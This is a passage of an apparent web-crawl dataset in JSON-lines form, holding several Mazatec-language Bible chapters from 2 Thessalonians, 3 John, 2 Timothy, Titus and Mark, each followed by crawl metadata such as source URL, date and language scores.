i̱'ndei̱ jè kéno̱jmí‑nòje̱n kó s'ín ko̱ma k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo xi otíxoma‑ná ko̱ k'e̱ nga ya̱ ko̱xkóyat'aà‑lá. K'oa̱á ma‑ne bìtsi'ba‑nòje̱n 2tsà yá xi̱ta̱ xi ki̱tso̱‑nò nga jyeé j'iì ìjngoò k'a Jesucristo, kì tà ni̱to̱n mokjeiín‑nò; kì tsakjoòn‑là tsà yá xi̱ta̱ xi ki̱tso̱‑nò: k'oa̱á tsò 'én‑la̱ Nainá xi kjònga̱tsja Pablo; k'oa̱á s'ín chja̱ya, ko̱ k'oa̱á s'ín kisìkasén jngoò xo̱jo̱n. 3Kì yá xi̱ta̱ xi kona̱cha̱n‑nò. Nga jè na̱chrjein k'e̱ nga o̱ko̱ma, ítjòn s'e̱ na̱chrjein nga jñà xi̱ta̱, 'ñó kondra̱ kítsa̱jna‑la̱ Nainá. I̱kjoàn ta ni̱to̱ón ko̱tsejèn jè xi̱ta̱ xi 'ñó ch'o s'i̱in, jè xi tjínè‑la̱ nga kjo̱'in si̱ìkjeiín ni̱ta̱ kjé‑ne. 4Xi̱ta̱ jè, jè xi kondra̱ kíjna‑la̱ ngats'iì xi Nainá tsò‑la̱ xi̱ta̱ ko̱ ni̱ta̱ mé‑ìsa‑ne xi beèxkón nga jè mejèn‑la̱ kíjna ítjòn. Skanda ya̱á kíjnaya i̱ngo̱ ítjòn‑la̱ Nainá koni tsà jè sobà Nainá, k'oa̱á ki̱tso̱‑la̱ yijo‑la̱ nga Nainá jè. 5¿A mì bítsjeèn‑nò k'e̱ nga sa̱ ya̱ tsohóti̱jnako̱‑nò, k'oa̱á kixan‑nò nga k'oa̱á s'ín ko̱ma? 6I̱'ndei̱ jye tíjiìn‑nò mé kjoa̱ xi bíchjoà ikòn‑la̱ xi̱ta̱ jè nga mì xátí f'iì; skanda k'e̱é kjoi̱í k'e̱ nga ki̱chóya na̱chrjein‑la̱. 7Jè nga'ñó‑la̱ kjoa̱ch'o, jyeé tísíxá'ma i̱ i̱sò'nde, ta̱nga tíjna jngoò xi tíjna ikòn nga mìkiì tsjá'nde ko̱ ta jè chija nga tjáxìn. 8Ko̱ i̱kjoàn k'e̱é ko̱tsejèn jè xi̱ta̱ xi ch'o s'ín. Ta̱nga Jesucristo xi otíxoma, ta jngoò 'én ki̱chja̱ nga tsjá‑la̱ kjo̱'in ni̱ta̱ kjé‑ne. Tà ma tà jé nga ote kji nga kjoi̱í, jngoò k'a kjoa̱áxìn nga'ñó‑la̱. 9K'e̱ nga kjoi̱í jè xi̱ta̱ xi ch'o s'ín, jè xi̱ta̱ nei̱í tsjá‑la̱ nga'ñó nga kjìn ska̱ya kjo̱xkón ko̱kò xi mìtsà kixi̱ kjoa̱. 10Si̱ìkjeén yije kjoa̱ xi ch'o tjín nga skóna̱cha̱n‑la̱ xi̱ta̱ xi kjo̱'in si̱ìkjeiín ni̱ta̱ kjé‑ne, koií kjoa̱‑la̱ nga jñà xi̱ta̱ koi mìkiì matsjakeè xi kjoa̱ kixi̱ xi ma ki̱tjokàjiìn‑ne kjo̱'in kjoa̱ ts'e̱ jé‑la̱. 11K'oa̱á ma‑ne Nainá tsjá'nde‑né nga tíjna jngoò xi skóna̱cha̱n‑la̱ xi̱ta̱ koi, mé‑ne kàtakjeiín‑la̱ kjoa̱ ndiso, 12nga kàtas'e‑la̱ kjo̱'in ngats'iì xi mìkiì mokjeiín‑la̱ kjoa̱ kixi̱. Nguì ta kjoa̱ ch'oó sasén‑la̱. 13Ndí 'ndsè ko̱ ndí tichjaá, mochjeén‑né nga kjit'aà na̱chrjein 'biì‑la̱je̱n kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn xi 'ñó matsjakeè‑nò Na̱'èn‑ná, nga xó k'oa̱á s'ín jaàjiìn‑nò Nainá kóni nga ti̱sa̱ tàts'en‑la̱ kjoa̱, mé‑ne nga ki̱tjokàjñoò‑nò kjo̱'in, nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá sítsjeèya‑nò ko̱ nga ndaà mokjeiín‑nò xi kjoa̱ kixi̱. 14Xó k'oa̱á s'ín kiìchja̱‑nò Nainá i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ngaje̱n nokjoàya‑je̱n, mé‑ne nga jñò, ti̱koa̱ s'e̱‑nò kjoa̱jeya‑la̱ Jesucristo, jè xi otíxoma‑ná. 15Ndí 'ndsè ko̱ tichjaá, k'oa̱á s'ín kixi̱ ti̱tsa̱jna. Kì nìjchàajiìn‑jèn jñà 'én kixi̱‑la̱ Cristo xi ngaje̱n kinìkatoya‑nòje̱n, jñà xi ta 'én kinokjoà‑nòje̱n ko̱ xi xo̱jo̱n carta tsakoòya‑nòje̱n. 16'A̱án síjét'aà‑la̱ Jesucristo, jè xi otíxoma‑ná ko̱ jè Nainá xi Na̱'èn‑ná, jè xi 'ñó matsjakeè‑ná nga tsjá‑ná kjoa̱jetakòn‑la̱ xi mìkiì kjoe̱het'aà, ko̱ tsjá kjo̱tjò‑ná kjo̱ndaà‑la̱ nga tíjngoò takoán nga titsa̱chiñá‑lá. 17K'oa̱á s'ín síjét'aà‑la̱ nga ìsa̱ tse nga'ñó kàtatsjá‑la̱ ini̱ma̱‑nò mé‑ne nga ìsa̱ kixi̱ ki̱tsa̱jnaà koni s'ín 'nè kjoa̱ xi ndaà tjín ko̱ koni s'ín nokjoà 'én xi ndaà tsò.\n2 Tesalonicenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Thess\/2","date":"2013-12-09T18:16:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163994706\/warc\/CC-MAIN-20131204133314-00004-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":477,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ ndí 'ndsè xi 'mì‑lè Gayo xi 'ñó ndaà chibá ko̱ xi nguì ko̱ ini̱ma̱‑na̱ nga matsjake̱‑lè, tìkjiì‑lè Xo̱jo̱n jè 'a̱n xi xi̱ta̱ jchínga 'mì‑na ya̱ i̱ngo̱. 2Ji̱ ndí 'ndsè, 'a̱n, k'oa̱á s'ín tísíjé‑la̱ Nainá, nga ndaà kàtitjo yije ni̱ta̱ mé kjoa̱ xi s'i̱in ji̱, koni s'ín ndaà tímachikon‑t'in ini̱ma̱‑lè xi i̱t'aà ts'e̱ Nainá, k'oa̱á ti̱s'ín ndaà kàtìjna jè yijo‑lè nga ni̱mé ch'in kàtas'e‑la̱. 3Ta̱xki̱ 'ñó kjòtsja‑na k'e̱ nga j'iì i'nga jñà 'ndsé xi tsibéno̱jmí‑na nga k'oa̱á s'ín tìnìjchí yijo‑lè koni s'ín tjín kjoa̱ kixi̱ i̱t'aà ts'e̱ Cristo. 4Nì ti̱ mé kjoa̱ tjín‑ne xi k'oa̱s'ín 'ñó matsja‑la̱ ini̱ma̱‑na̱, ta jè‑ne k'e̱ nga 'nchrè nga jñà xi ndí i̱xti‑na̱ xan‑la̱ nga k'oa̱á s'ín nchisíjchá yijo‑la̱ koni s'ín tjín xi kjoa̱kixi̱. 5Ngaji̱ ndí 'ndsè xi 'ñó matsjake̱‑lè, 'ñó kixi̱ tìnìjchí yijo‑lè, k'e̱ nga k'oa̱s'ín ndaà nìs'in‑la̱ ya̱ ni'ya‑lè jñà xi̱ta̱ xinguia̱á xi bijchókon‑lè xi ti̱koa̱ 'én‑la̱ Nainá mokjeiín‑la̱; ko̱ ìsa̱á ta ndaà tjín‑ìsa k'e̱ nga ti̱koa̱ ndaà nìs'in‑la̱ jñà xi̱ta̱ xinguia̱á xi xìn i̱'nde f'iì‑ne. 6Jñà xi̱ta̱ xinguia̱á k'oa̱á s'ín tsibéno̱jmí kixi̱ ya̱ nguixko̱n xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, nga ngaji̱ 'ñó matsjachi ngats'iì xi̱ta̱ xinguia̱á koi. K'oa̱s'ín ndaà ti̱si̱ko̱‑ìsi k'e̱ nga ki̱jchòkon‑lè; tjiì‑la̱ mé xi mochjeén‑la̱ k'e̱ nga tjímaya ya̱ i̱ya ndi̱yá. K'oa̱á s'ín tikoi̱i koni s'ín sasén‑la̱ Nainá. 7Nga̱ i̱t'aà ts'e̱ Cristo‑né nga k'oa̱s'ín jye tsibínè‑la̱ yijo‑la̱ jñà xi̱ta̱ xinguia̱á koi, nga k'oa̱á s'ín nchisíxá‑la̱ Jesucristo, ko̱ majìn‑la̱ nga jñà kiskoé tsojmì xi tsjá‑la̱ xi̱ta̱ xi mìtsà i̱t'aà ts'e̱ Cristo mokjeiín‑la̱. 8Koií mochjeén‑ne nga jñá oko̱‑ná nga ki̱si̱koa̱á jñà xi̱ta̱ xinguia̱á koi. Tsà k'oa̱s'ín ki̱si̱koa̱á, tsò‑ne kjoa̱ nga ngásòn titsa̱nìka'bísoán jè 'én kixi̱ xi ndaà tsò. 9'A̱n jyeé kiskiaà jngoò Xo̱jo̱n nga kisìkasén‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo, ta̱nga jè Diótrefes mìkiì sasén‑la̱ koni s'ín ki'mì‑la̱je̱n, nga̱ jè, koií xi mejèn‑la̱ nga ta jè ko̱tìxoma. 10K'e̱ nga kìjchoa, k'e̱é ko̱xán kixi̱‑la̱ i̱t'aà ts'e̱ ngats'iì kjoa̱ ch'o xi tís'ín, nga 'ñó ch'o tsò 'én ndiso xi tíbínè‑naje̱n. Ko̱ mìtsà ta ya̱ majngoò ikon, ti̱koa̱á mìkiì ma‑la̱ nga sís'in‑la̱ jñà xi̱ta̱ xinguia̱á xi bijchókon ya̱ ni'ya‑la̱. Ko̱ jñà 'ndseé xi mejèn‑la̱ nga si̱ìs'in‑la̱ xi̱ta̱ xinguia̱á, jé bíchjoà ikon‑la̱, ko̱ ti̱koa̱á ochrjekàjiìn‑né ya̱ na̱xa̱ndá‑la̱ Cristo jñà 'ndsé xi k'oa̱s'ín síkitasòn kjo̱ndaà koi. 11Ji̱ ndí 'ndsè xi 'ñó matsjake̱‑lè, kì jñà chjínguì‑la̱ jñà kjoa̱ xi ch'o tjín; ji̱, jñà chjínguì‑la̱ jñà kjoa̱ xi ndaà tjín. Nga̱ jè xi̱ta̱ xi ndaà s'ín, xi̱ta̱ ts'e̱ Nainá‑né; ta̱nga jè xi̱ta̱ xi ch'o s'ín, kj'eè kì beè yá‑ne xi Nainá. 12I̱t'aà ts'e̱ Demetrio, ngats'iì xi̱ta̱ k'oa̱á tsò nga 'ñó ndaà tjín koni s'ín tís'ín, skanda jè xi kjoa̱ kixi̱, k'oa̱á s'ín okó nga jè Demetrio, ndaá tjín koni s'ín tís'ín; k'oa̱á ti̱s'ín bixón‑je̱n nga ndaá tjín koni s'ín tís'ín, ko̱ ndaá 'yi nga 'én kixi̱‑né koni s'ín bixón‑je̱n. 13Tjín‑ìsa‑na mé 'én xi mejèn‑na nga ko̱xán‑lè, ta̱nga majìn‑na nga tà Xo̱jo̱n siìkasén‑lè; 14jè xi mejèn‑na nga kjíkon xátí‑lè; k'e̱é ìsa̱ ndaà jchi̱ba̱no̱jmiá k'e̱ nga kìjchokon‑lè. 15K'oa̱s'ín 'nchán kàtìjna kjit'aà ini̱ma̱‑lè. Jñà xi̱ta̱ xi ndaà óko̱‑ná xi i̱ i̱'nde‑la̱ tísíhixat'aà‑lè. Ko̱t'ìn‑la̱ jñà xi̱ta̱ xi ndaà óko̱‑ná xi ya̱ títsa̱jnako̱‑lè, Nainá kàtasíchikon‑t'in nga jngoò ìjngoò.\n3 Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/3John\/1","date":"2013-12-12T04:42:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164456039\/warc\/CC-MAIN-20131204134056-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":502,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ñó tíbiné‑la ya̱ ngixko̱n Nainá ko̱ Jesucristo ra tíjna ítjòn‑ná jè ra jeya kj'i̱í india‑ni koni xi̱ta̱xá ítjòn nga ki̱ìndajín‑la̱ xi̱ta̱ ra títsa̱jnakon ko̱ ra ijye 'ken. 2Ti̱nákjoa̱yi 'én nda‑la̱ Cristo. Ti̱jnandi nga ki'ta ni̱chjin ni̱ta kó chon. Ko̱'tìn‑la̱ xi̱ta̱ 'kia̱ nga 'cho 'si̱in; nda ti̱kixi̱yi; tì'tin nga 'ñó ka'té‑la̱ ikon. 'Kia̱ nga ko̱'sín 'si̱in, 'ñó 'tè‑la̱ inìma̱‑li ti̱'koa̱ ko̱ó kjo̱nda‑li ta̱kón‑ya‑la̱. 3Ki̱jchó ni̱chjin nga jñà xi̱ta̱ mì ti̱ kì ko̱kjiín‑la̱ nga kji̱'nchré 'én nda ra kixi̱ tjín ra jién bakon‑yeé a̱'ta 'tse̱ Cristo. Tà isa̱á kjín maestro koa̱àtsji ra ko̱'sín ko̱kòn‑ya‑la̱ koni 'sín jñà mejèn‑la̱ nga kji̱'nchré. 4Ki̱ncha'taxìn‑la̱ ra kjo̱hixi̱, ko̱ jñá ki̱ji̱'ta‑la̱ ra taxki̱ kuendo̱ 'tse̱ xi̱ta̱ jchínga ra mì tsa kixi̱ kjoa̱. 5Tanga ji̱ Timoteo, inda 'tè‑la takìn ni̱ta mé kjoa̱‑nioo̱, ti̱kjiín kjoa̱ 'tse̱ kjo̱hi'in, kií xá 'ti̱ìn nga ti̱ka'bísìn 'én nda‑la̱ Cristo, nda ti̱hitjasìn xá ra ji̱ kjonga̱tsji. 6'A̱n, ijyeé títsja‑ná ijo‑na̱ koni jngo kjo̱tjò 'tse̱ Nainá. Ijyeé ijchó ni̱chjin‑la̱ nga ki̱yáa̱. 7Ijyeé nda kískajàn‑tjìa̱ xá‑la̱ Cristo; ijyeé nda ísihitjásòo̱n xá ra 'a̱n kjonga̱tsja; ndaá tsakáti̱jnako̱ jè 'én ra 'a̱n makjiín‑na a̱'ta 'tse̱ Cristo. 8'Ndi̱ 'ndi̱, jè Cristo ra xi̱ta̱xá kixi̱ tíjna, tíjnatjò jngo‑la̱ koròna̱ ján ngajmi ra 'a̱n tsjá‑na tà nga̱tjì‑la̱ nga kixi̱ tsakáti̱jnako̱. 'Kia̱ nga kj'i̱í india‑ni ra jè, mì tsa tà 'a̱n ra tjábé‑na, ti̱'koa̱á tjábé‑te‑la̱ nga'tsì ra tjíjngo ikon nga i̱nchikoñá‑la̱ Na̱'ín‑ná. 9Ti̱xátíyi nga ndi̱to̱n nchrabájchon‑ná. 10Nga̱ jè Demas, ijyeé kitsjin‑tákon‑na. Jè 'ñó matsjake kjoa̱ ra tjín i̱ i̱sà'nde. Ya̱á kijì ya̱ na̱xi̱ndá Tesalónica. Crescente, ya̱á kijì nangi Galacia, ko̱ jè Tito ya̱á kiì nangi Dalmacia. 11Tà jé Lucas tíjnako̱‑na. 'Kia̱ nga kji̱nchrabì, tjáha̱jchatí Marcos, nchrabáki̱i. I̱í ko̱chjeén‑na a̱'ta 'tse̱ xá ra tí'siaa̱n. 12Jè Tíquico, ya̱á ísikásée̱n Éfeso. 13'Kia̱ nga kji̱nchrabì, 'jcha̱‑ná katò‑na̱ ra tsakajná ya̱ na̱xi̱ndá Troas ya̱ ni'ya‑la̱ Carpo. 'Jcha̱‑ná jñà xa̱jo̱n‑na̱, tanga jñà ra isa̱ 'ñó 'ñó machjeén nga 'jcha̱‑ná, jñá ra chrja̱ba̱ kjòo̱n. 14Alejandro, jè ra chji̱ne̱ ki̱cha̱, 'ñó 'cho tjín kjoa̱ ra tísíko̱‑na. Nainá katatsjá‑la̱ kjo̱hi'in tà nga̱tjì‑la̱ kjoa̱ ra tí'sín. 15Ngaji̱ Timoteo, ti̱kondi̱i ijo‑li a̱'ta 'tse̱ xi̱ta̱ ra̱kìi̱. 'Ñó kondra̱ fì‑la̱ 'én ra bakon‑yeé. 16'Kia̱ nga isindajín ítjòn‑na ya̱ ngixko̱n xi̱ta̱xá, ni̱yá ra tsasìko̱‑na. Nga'tsì xi̱ta̱ kitsjin-takón‑na. Kì kinda̱ 'sín Nainá kjoa̱ kìi̱. 17Tanga jè Na̱'ín‑ná tsasìko̱ó‑na. Kitsjá‑na nga'ñó mé‑ni nga kjomà kíchjàjin‑la̱ jñà xi̱ta̱ jè 'én nda‑la̱ Cristo. 'Koa̱á 'sín kjomà‑ni nga kií'nchré ijye ra mì tsa xi̱ta̱ judío. Nainá tsasìko̱‑na nga mì tsa ti̱'kia̱ ki'tsì‑na kjo̱hi'in nga ngi ini'ken‑na. 'Koa̱á 'sín kjomà‑ni nga tsato, nga mì ya̱ isìkàtje̱n‑jin‑na jñà xi̱ta̱ ya̱ ñánda̱ nga kitse xa. 18Na̱'ín‑ná ko̱si̱ko̱‑na a̱'ta 'tse̱ nga'tsì kjoa̱ ra 'cho tjióo̱n. Ko̱ i̱ko̱ó‑na ñánda̱ nga tíbatéxoma ján ngajmi. Nainá, kata'se‑la̱ kjoa̱jeya ni̱ta mé nó ko̱ ni̱ta mé ni̱chjin‑nioo̱. Ko̱'sín katama. 19Ti̱hixo'tì jè Prisca ko̱ Aquila ko̱ xi̱ta̱ ra tjíhijyo ni'ya‑la̱ Onesíforo. 20Erasto, ya̱á tsikijna ya̱ na̱xi̱ndá Corinto. Jè Trófimo, ján isíkíjna na̱xi̱ndá Mileto. Kiya‑ní, mì tsa nda tíjna. 21Ti̱xátíyi nga ndi̱to̱n nchrabájchon‑ná 'kia̱ nga ti̱kje 'fiì ni̱chjin‑la̱ cho̱ 'nchán. Tísíhixo'tà‑li jè Eubulo, Pudente, Lino ko̱ Claudia, ko̱ nga'tsì xi̱ta̱ ra 'ndsé chibé. 22Jè Jesucristo ra tíjna ítjòn‑ná katijnako̱‑li. Nga'tsì‑no kata'se‑no kjo̱nda‑la̱. Ko̱'sín katama.\n2 Timoteo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Tim\/4","date":"2013-12-12T21:39:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164722336\/warc\/CC-MAIN-20131204134522-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000059604644775}","num_words":503,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.272,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti̱kítsjen‑la̱ nga katabexkón ra xi̱ta̱xá títsa̱jna ko̱ nga'tsì ra kjo̱téxoma tjíya tsja, nda kata'nchréhijon‑la̱. Katasíhitjasòn nga'tsì xá ra nda tjín. 2Ko̱'tìn‑la̱ kì xi̱ta̱ chja̱jno‑la̱; kì xi̱ta̱ kjaán‑ko̱; kjo̱nda‑ní ra kata'sín, ngi indakjoa̱á katasíko̱ nga'tsì xi̱ta̱. 3Nga̱ ti̱'koa̱á jién, nga ti̱'sa̱ kjotseé, mì kì mé machi̱ya‑ná. Mì kì ma‑ná na'yáhijeén. Xín ndi̱yá tsikimayeé. Jñá ki'nié nga'tsì kjoa̱ ra 'cho tjín koni 'sín síjé ijo‑ná ko̱ kjoa̱ ra sasén‑la̱. Ya̱á tsikìtsa̱jnajieén kjoa̱'cho ko̱ kjo̱xìtakòn. Tsakén‑ná nga isìjtike‑ná xi̱ta̱ ko̱ ti̱'koa̱á jién inijtichaá‑teé xàngie̱é. 4Tanga Nainá ra bachrjekàjin‑ná kjo̱hi'in, 'kia̱ nga tsakón kjo̱nda‑la̱ ko̱ kjo̱tsjacha‑la̱ a̱'ta 'tse̱ xi̱ta̱, 5tsachrjekàjin‑ná kjo̱hi'in. Mì tsa ki‑ni nga kixi̱ ki'nié. Ta ki‑ní nga kjòhi̱ma̱ke‑ná. 'Kia̱ nga isìtsje inìma̱‑ná, kitsin xi̱tse̱é india‑ná ko̱ jé Inìma̱ Tsje‑la̱ Nainá isìxi̱tse̱ya‑ná. 6Nainá 'ñó nda isíkíjnajin ya̱ inìma̱‑ná jè Inìma̱ Tsje‑la̱ ra a̱'ta 'tse̱ Jesucristo ra bachrjekàjin‑ná kjo̱hi'in. 7'Kia̱ nga ijye isìkixi̱ya‑ná kjo̱nda‑la̱ Nainá, 'koa̱á 'sín ki̱tsa̱jneé nga i̱nchichiñá‑lá ko̱ tjíjngoó takén nga jè inìma̱‑ná 'se̱é‑la̱ kjo̱binachon ra mì fehe'ta, ra tjábé‑ná tà nga̱tjì‑la̱ i̱xti‑la̱ Nainá 'mì‑ná. 8'Én kìi̱, ngi 'én kixi̱‑ní. 'Koa̱á 'sín mejèn‑na nga 'ñó tinè‑la̱ xi̱ta̱, mé‑ni jñà xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Nainá nda katasísin‑la̱ kjoa̱ ra nda tjín. Kjoa̱ kìi̱ 'ñó nda tjín; machjeén‑la̱ nga'tsì xi̱ta̱. 9Tanga kì jñà nisin‑la̱ kjoa̱ ra nìmé síchi̱ya‑ná ko̱ kjoa̱ ra 'tse̱ xi̱ta̱ jchínga kjotseé ra mì tsa kixi̱ kjoa̱. Kì kjo̱si nisin‑la̱ ko̱ kjoa̱ ra chitiya‑ná 'tse̱ kjo̱téxoma‑la̱ Moisés. Kjoa̱ kìi̱, mì kì machjeén, nìmé chjí‑la̱. 10Jè xi̱ta̱ ra na̱xi̱ndá‑la̱ Cristo mejèn‑la̱ si̱ìjòya, ti̱nákjoa̱ 'taxìn jò jàn 'ka̱‑la̱. Tsa mì kì kji̱'nchréhijon‑li, ti̱náchrjekajin ya̱ na̱xi̱ndá‑la̱ Nainá. 11Ji̱, ijyeé 'yi nga jè xi̱ta̱ ra̱kìi̱, ijyeé itsón kjo̱bítsjen‑la̱. 'Choó tí'sín. Jé tíbánè‑la̱ ijo‑la̱. 12'Kia̱ nga sikásén‑la Artemas ko̱ ñá tsa jè Tíquico, ti̱xátíyi nga nchrabájchon‑ná ya̱ Nicópolis. Ijyeé ko̱'sín ískosòn‑la̱, nga̱ ya̱á kóti̱jna 'kia̱ nga ni̱chjin cho̱ 'nchán. 13Ti̱si̱ki̱i Zenas, jè ra nda be kjo̱téxoma, ko̱ Apolos; 'tiì‑la̱ mé ra machjeén‑la̱ mé‑ni nga ko̱ma ki̱ji̱‑ni ñánda̱ nga i̱nchifì, nga nìmé ra si̱ìjchija'ta‑la̱. 14Jñà ra xi̱ta̱ tsa̱jién, 'koa̱á ti̱'sín katama‑la̱ kjoa̱ ra nda tjín, nga katasiko̱ xi̱ta̱ tsa mé ra chija'ta‑la̱, mé‑ni nga nda katasíchjeén‑ni ni̱chjin ra tí'bì‑la̱ nga kátíjna jngo kjoa̱ ra chjí‑la̱. 15Nga'tsì xi̱ta̱ ra i̱ títsa̱jnako̱‑na tísíhixo'tà‑li. Ti̱'koa̱á ti̱hixo'tì ijyi jñà ra matsjake‑ná nga ngásòn makjiín‑ná a̱'ta 'tse̱ Cristo. Kjo̱nda‑la̱ Nainá katijnako̱‑no nga'tsì‑no. Ko̱'sín katama.\nTito 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Titus\/3","date":"2013-12-12T21:37:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164722336\/warc\/CC-MAIN-20131204134522-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":376,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús 'jaha'seén india‑ni ya̱ ñánda̱ tíjna jngo ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. Ko̱ ya̱á tíjna jngo xi̱ta̱ ra kixì'ta jngo tsja. 2Jñà xi̱ta̱ ra kondra̱ fì‑la̱ Jesús i̱nchisíkinda̱‑ní nga mejèn‑la̱ nga ske̱ a si̱ìndaá‑ni jè xi̱ta̱ ra kixì'ta tsja 'kia̱ nga ni̱chjin níkjáya, mé‑ni nga ko̱ma sa̱kò‑la̱ mé ra ma koa̱àngi‑ni. 3Jesús 'kia̱á kitsò‑la̱ jè xi̱ta̱ ra kixì'ta jngo tsja: ―Ti̱sítji̱in, a̱bí, ti̱se̱n masin i̱jndíi̱. 4Jesús, 'kia̱á kitsò‑la̱ jñà xi̱ta̱ ra i'ka: ―¿Mé ra tjí'nde nga 'sie̱én 'kia̱ nga ni̱chjin níkjáya? ¿A ndaá 'sie̱én o̱ ra 'choó 'sie̱én? ¿A si̱ndaá jngo‑ná xi̱ta̱ o̱ ra si̱'ken‑ná? Tanga jñà xi̱ta̱ kìi̱, ta jyó tsikitsa̱jna. 5Jesús ngi ko̱ó kjo̱jti‑la̱ isko'án xi̱ta̱ ra kitsendí‑la̱. Ko̱ 'ñó ba ki'se‑la̱ ta nga̱tjì‑la̱ nga 'ñó tájajín ya̱ inìma̱‑la̱ jñà xi̱ta̱. 'Kia̱á kitsò‑la̱ jè xi̱ta̱ ra kixì'ta tsja: ―Tjèn ndajì ndsi̱i. Ko̱ tsikjén ndajó tsja jè xi̱ta̱ ra̱kìi̱, ko̱ ta ndi̱to̱ón kjonda‑ni. 6'Kia̱ nga itjo‑ni jñà xi̱ta̱ Fariseo tsajo̱óyaá‑ni ko̱ jñà xi̱ta̱ Herodiano nga mejèn‑la̱ si̱ì'ken Jesús. 7Jesús ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ ya̱á kijì ya̱ a̱ndi ndáchikon. Ko̱ kjín jchán xi̱ta̱ kijìtji̱ngi‑la̱ ra ya̱ nangi‑la̱ Galilea ko̱ Judea, 8ko̱ jñà xi̱ta̱ ra 'tse̱ na̱xi̱ndá Jerusalén, ko̱ ra Idumea nangi‑la̱, xi̱ta̱ ra tjíhijyo ya̱ ra ijngoa ndáje̱ Jordán, ko̱ jñà ra tjíhijyo ya̱ jngo tjandi‑la̱ na̱xi̱ndá Tiro ko̱ Sidón; 'ñó ina'yá‑la̱ kjo̱xkón ra ki'sìn Jesús. 'Koa̱á 'sín kjomà‑ni nga ta̱ kjìn xi̱ta̱ 'ji tjíngi‑la̱. 9Jesús, 'koa̱á 'sín kitsò‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ nga kátájnanda ki'ta jngo‑la̱ chitso ra kíjnaya, mé‑ni nga mì ya̱ 'ñó ko̱jtín‑nè‑ni xi̱ta̱. 10Ta nga̱tjì‑la̱ nga̱ kjín jchán xi̱ta̱ ra kiya ijye isinda‑ni, ko̱ jñà xi̱ta̱ ra i'ka ra takó kiya‑isa, ya̱á fìkjané'ñó ya̱ ñánda̱ tíjna Jesús nga mejèn‑la̱ ska̱'ta‑la̱ tsja. 11Jñà xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin inìma̱‑la̱, 'kia̱ nga be jè Jesús, mincha-xkó'nchi'tá‑la̱, a̱kjòn 'ñó jchán chja̱ nga tsò: ―Ji̱‑ní ra I'ndí‑la̱ Nainá. 12Tanga jè Jesús 'ñó tsakátiko̱ nga kì tà chjàn yá xi̱ta̱ ra 'béna̱jmí‑la̱ yá‑ni ra jè. 13Ra kjomà a̱skan‑nioo̱, Jesús ya̱á kiìmijìn jngo nindo. Kiìchja̱‑la̱ jñà xi̱ta̱ ra jè nda isasèn‑la̱. Ko̱ jñà xi̱ta̱ kìi̱ ya̱á tsakáhijtako̱. 14A̱kjòn ya̱á tsjahíjin tejò xi̱ta̱ ra ya̱ ko̱hijtako̱, ko̱ nga ti̱'koa̱ isìkasén nga 'ke̱èna̱jmíya jè 'én nda‑la̱ Nainá, 15ko̱ kitsjá‑te‑la̱ kjo̱téxoma nga ma si̱inda‑ni xi̱ta̱ ra kiya ko̱ nga ma ko̱chrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱. 16Jñá xi̱ta̱ kìi̱ ra tejò ma‑ni ra tsjahíjin: jè ra 'mì Simón, jè ra ti̱'koa̱ Pedro tsikí'ta 'í‑la̱; 17ko̱ jè ra 'mì Jacobo ko̱ jè 'ndse̱ ra 'mì Juan ra i̱xti‑la̱ Zebedeo ma, ra ti̱'koa̱ Boanerges tsikí'ta 'í‑la̱. (Jè 'í ra̱kìi̱, I̱xti‑la̱ 'Cho̱ón, tsò‑ni.) 18Ko̱ jè ra 'mì Andrés; ko̱ jè ra 'mì Felipe; ko̱ jè ra 'mì Bartolomé; ko̱ jè ra 